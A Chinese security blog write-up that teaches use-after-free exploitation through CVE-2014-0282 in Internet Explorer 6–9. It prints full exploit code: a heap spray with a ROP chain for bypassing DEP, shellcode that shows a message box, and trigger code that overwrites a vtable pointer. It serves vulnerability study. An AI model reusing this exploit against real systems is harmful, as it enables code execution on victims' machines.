IE浏览器UAF漏洞CVE-2014-0282的分析

本文首发Mottoin 感谢zzz66686投递 转载请注明来自Mottoin

0x00 前言

UAF(Use-After-Free)类型漏洞已经成为exploit的主流漏洞,2016年Pwn2Own中出现频率最高的也是UAF类型漏洞,因此有必要整理一下UAF漏洞的利用方法了。笔者在本文中将以CVE-2014-0282为例,梳理一下利用UAF漏洞的基本步骤,对于不熟悉UAF漏洞类型的读者应该有一些指导作用。相对于其他各类UAF漏洞,诸如内核UAF漏洞等,CVE-2014-0282是出现在IE浏览器中的一个很简单的例子,但是通过该漏洞还是可以学到不少东西。

此外,还有一篇来自NCC的关于该CVE的分析,该分析同样非常详细,讲得也比较透彻,美中不足是并没有给出EXP代码。这里,如果读者未能理解笔者本文所写的内容,可以去看一看这篇NCC的分析。网址如下:
https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/12/cve-2014-0282pdf

0x01 漏洞概述

CVE-2014-0282为IE浏览器中的UAF漏洞,影响IE6 – IE9的各个版本。可以在exploit-db上直接找到该CVE的POC,这里摘录如下:

20161130103226

完整POC:https://www.exploit-db.com/exploits/33860

通过POC代码以及相关的注释,可以直观的推测其漏洞的成因:由于changer()为child2的onpropertychange属性,所以在reset()函数中会调用changer()函数,而changer()会销毁form并释放相关的内存,导致reset()函数在后续的执行中引用已释放的内存,形成UAF类型的漏洞。用windbg调试时,可以看到与推测相符合的结果:

poc1

上图中,程序在mshtml!CFormElement::DoReset函数引用已被释放的内存,读取错误的虚表指针,导致执行到了奇怪的地方。后文的分析环境如下:

  • 分析系统: win7 虚拟机
  • IE版本: win7自带的IE8
  • 其他软件: JRE6 (exploit需要用到)

0x02 利用分析

在浏览器中见到的UAF漏洞是相对较多的,所以笔者将在浏览器的环境下讨论UAF的利用。一般来讲,UAF漏洞是用来劫持EIP的,那么在劫持之前,需要进行内存部署,即将构造的shellcode置于内存之中。所以,浏览器中UAF类型的漏洞利用过程可大体分为两个步骤:

  1. 部署内存,通常选用Heap Spray方法实现。
  2. 触发UAF漏洞,劫持EIP。

下面以CVE-2014-0282来进行讨论。

0x02.1 部署内存

为了更准确的传达笔者的意思,这里选择直接帖代码的方式进行叙述:

<script>
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }
 
 block_size = 0x1000;
 padding_begin_size = 0x5F4;
 Padding_begin = '';
 Padding_end = '';
 
 var Shellcode = unescape(
 //----------------------------[ROP] ----------------------//
 "%u653d%u7c37" +
 "%ufdff%uffff" +
 "%u7f98%u7c34" + 
 "%u15a2%u7c34" + 
 "%uffff%uffff" +
 "%u6402%u7c37" + 
 "%u1e05%u7c35" + 
 "%u5255%u7c34" +
 "%u2174%u7c35" +
 "%u4f87%u7c34" + 
 "%uffc0%uffff" + 
 "%u1eb1%u7c35" + 
 "%ud201%u7c34" + 
 "%ub001%u7c38" +
 "%u7f97%u7c34" +
 "%ua151%u7c37" + 
 "%u8c81%u7c37" +
 "%u5c30%u7c34" + 
 //--------------------------[Junk]------------------------//
 "%u9090%u9090" +
 "%u9090%u9090" +
 "%u9090%u9090" +
 "%u9090%u9090" +
 "%u9090%u9090" + 
 "%u9090%u9090" +
 "%u9090%u9090" +
 "%u9090%u9090" +
 "%u9090%u9090" +
//-----------------------------[shellcode] ----------------------//
 "%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846" +
 "%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854" +
 "%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac" +
 "%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b" +
 "%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e" +
 "%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff" +
 "%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6" +
 "%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820" +
 "%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u2068%u2020" +
 "%u6820%u3636%u3638%u7a68%u7a7a%u3136%u88c9%u244c%u890c%u31e1%u52d2%u5153%uff52" +
 "%u31d0%u50c0%u55ff%u4108"
 );
 
 for (p = 0; p < padding_begin_size; p++){ 
 Padding_begin += unescape('%u4141');}
 
 for (c = 0; c < block_size; c++){ 
 if (c == 40){
 Padding_end += '\u8b05\u7c34'; // 0x7c348b05 
 c++;
 }else
 {
 Padding_end += unescape('%u7a7a');
 }
 }
 Padding_end = Padding_end.substring(0,block_size - (Shellcode.length + Padding_begin.length));
 
 var OBJECT = Padding_begin + Shellcode + Padding_end;
OBJECT = alloc(0xfffe0, OBJECT);

var evil = new Array();
 for (var k = 0; k < 150; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
</script>

上述代码中,构造堆喷块长度为0xfffe0,这是因为0xfffe0加上堆头0x20字节长度的信息整好等于1MB,如下:

poc2

上图中,每个堆块及其堆头信息的大小都是1MB,起始地址的低5位基本是不变的(除了前几个)。

每个堆块中含有若干个组shellcode信息,每组的长度为0x2000(代码中的0x1000)字节,其结构如下:

20161130104146

其中,Padding begin用’A’填充,Padding end用’z’填充,ROP是为了过DEP而设置的,Junk用’0x90’填充。

Code部分的起始偏移地址为0xBE8(代码中的0x5F4),该地址是在当前调试环境中计算而来:0x0c0c0c0c-0c0c0024=0xBE8,如下图所示:

poc4

其中,0x0c0c0014为上一组shellcode的padding end部分,填充为字符’z’,而0x0c0c0024为当前组的shellcode的padding begin部分,填充为字符’A’。而0x0c0c0c0c是被选择利用的地址,在第二步劫持EIP中会将被释放的对象虚表指针改写为0x0c0c0c0c。

ROP是依据MSVCR71.dll构建的,重现漏洞需要安装JRE6才可以。其ROP的目的是构造参数并调用VirtualProtect函数,以绕过DEP的限制。其中,0x7c348b05为MSVCR71.dll中xchg eax,esp的指令地址。ROP执行完毕后,会跳到第一条Junk位置继续执行,即跳到0x0c0c0c54位置继续执行。下图中展示了地址为0x7c348b05的指令,以及第一条Junk指令:

poc5

完整的ROP是直接摘自corelan team的,如果对此部分ROP比较感兴趣,可以去corelan team的主页上找到相关内容。

最后,Code还有一部分Shellcode的功能为弹出messagebox,其提示内容为zzz66686。Shellcode的大致运行流程是通过PEB结构找到kernel32模块,并调用loadlibrary得到user32句柄:

poc6

得到user32.dll的句柄之后,找到user32的导出函数messagebox,并构造适当的参数调用messagebox函数弹出消息窗口。

完整的Shellcode虽然来自于metasploit,通过msfvenom 指令可以直接生成所需的shellcode,但这实际上也是出自corelan team的手笔,如果对此部分感兴趣,同样可以去corelan team的主页上翻一翻。

0x02.2 劫持EIP

一小节中,部署内存主要是靠堆喷来完成,与UAF漏洞本身并没有太大的关系。在此小节中,将介绍如何劫持EIP。利用UAF漏洞劫持EIP最常见的方法就是覆盖虚表,在CVE-2014-0282中也是如此。

在第一章节中,已经提到漏洞出现的原因是引用已经被释放的textarea,通过IDA分析mshtml.dll可以知道CTextArea的大小为0x60字节,此部分在NCC的分析中有详细叙述,感兴趣的可以去了解一下。因此,可以通过申请一系列大小为0x60的元素,填充被释放的内存空间,从而覆盖需要实现劫持EIP的目的,代码如下:

<script>
var startfl=false;
 
function changer() {
 if (startfl) {
 var c = new Array(100);
 for (var a = 0; a < 100; a++)
 {
 c[a] = document.createElement('img');
 }
 document.getElementById("testfm").innerHTML = "";
 CollectGarbage();

var b1 = unescape("%u0c0c%u0c0c");
 for (var a = 4; a < 94; a += 2)
 {
 b1 += "%u4242";
 }
 b = unescape(b1)
 for (var a = 0; a < c.length; a++)
 {
 c[a].title = b;
 }
 }
}
 
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); 
</script>

上述代码中,创建了100个img元素,并利用img元素的标题字符串填充被释放的部分内存。由于堆的管理方式各不相同,精确地找到并占用被释放的内存块较为困难;但大体上来说,如果被释放的大小与新申请的大小相匹配,那么很有可能申请到刚刚被释放的区域。此外,100个img元素也增加了申请到被释放区域的概率。

每个标题是长度为94字节的字符串,再加上2字节的结尾标志,总共是96字节,即0x60字节。每个字符串的前4字节为0c0c0c0c,用以覆盖虚表指针,后续字节用字母’B’填充。

poc7

上图中,可以看到对象的虚表指针已被改写为0x0c0c0c0c,这与2.1小节中所述的0x0c0c0c0c关联了起来。程序继续运行时,就会到0x7c348b05的位置,执行xchg eax,esp进而开始ROP的执行。

0x03 小结

按照第2章节所述的方法部署内存并出发UAF漏洞之后,可以观察到效果如下图所示:

poc8

CVE-2014-0282在MS14-035中得到了修复,但是MS14-035总共修复了60个漏洞,所以做补丁对比有些困难,这里也就不做补丁对比了。此外,这里想强调的是,堆喷是一种部署内存的方法,与UAF漏洞本身并没有直接关系。UAF最本质的定义是引用了被释放的内存,在浏览器中出现此类漏洞的比例要高一些,通过UAF能干很多事,劫持EIP是最常见的一种,如本文中的分析。希望读者看完本文的分析之后,不要误以为UAF只能干这点事。

*本文原创作者 zzz66686,未经允许禁止转载!

原创文章,作者:M0tto1n,如若转载,请注明出处:http://www.mottoin.com/92909.html

发表评论

登录后才能评论

评论列表(1条)

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code